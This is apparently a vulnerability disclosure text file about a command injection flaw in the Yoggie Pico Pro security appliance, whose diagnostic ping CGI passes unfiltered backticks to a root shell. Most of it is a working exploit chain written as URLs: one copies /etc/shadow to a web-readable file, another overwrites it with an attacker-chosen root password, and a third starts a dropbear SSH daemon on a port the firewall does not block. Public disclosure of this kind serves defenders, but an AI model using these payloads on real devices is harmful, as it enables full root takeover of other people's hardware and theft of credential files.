yoggie-exec.txt

`This vulnerability affects the Yoggie Pico Pro (and most certainly the  
Yoggie Pico, due to them being effectively identical) security  
appliance. They expose a 'ping' function in their web interface for  
diagnostic purposes, which passes the IP/hostname given directly to  
ping in the form of 'ping -c 10 <given ip>'. They do basic checking  
for ampersands, semicolons, and pipes, but do not check for backticks,  
which allows you to execute commands as root on the device.  
  
Proof of concept:  
When run from a machine with a Yoggie Pico Pro connected,  
yoggie.yoggie.com resolves to the IP of the device, so these links  
will of course not work unless you have a device connected. I didn't  
brute-force the root password, so I explain how you can replace their  
/etc/shadow to set the password to whatever you choose.  
  
To access the original /etc/shadow:  
https://yoggie.yoggie.com:8443/cgi-bin/runDiagnostics.cgi?command=Ping&param=%60cp%20/etc/shadow%20shadow.txt%60  
https://yoggie.yoggie.com:8443/cgi-bin/shadow.txt  
Replace the root password with the password of your choosing, then  
wrap the file in single quotes and urlencode the entire string.  
  
To replace the original /etc/shadow with your own:  
https://yoggie.yoggie.com:8443/cgi-bin/runDiagnostics.cgi?command=Ping&param=%60echo%20<urlencoded  
shadow file>%20%3E%20/etc/shadow%60  
  
Finally, running dropbear sshd on port 7290 (random choice -- not  
blocked by their firewall rules)  
https://yoggie.yoggie.com:8443/cgi-bin/runDiagnostics.cgi?command=Ping&param=%60/usr/sbin/dropbear%20-p%207290%60  
  
Log in as root with the password chosen, and you now have complete  
control over the device. It's quite powerful little computer, and a  
whole hell of a lot of fun to play around with. A word of advice,  
though -- don't touch libc in any way, shape, or form, as there's no  
reflash mechanism I've found on the device, which is why I now have a  
bricked pico pro sitting on my desk ;)  
  
- Cody Brocious  
  
`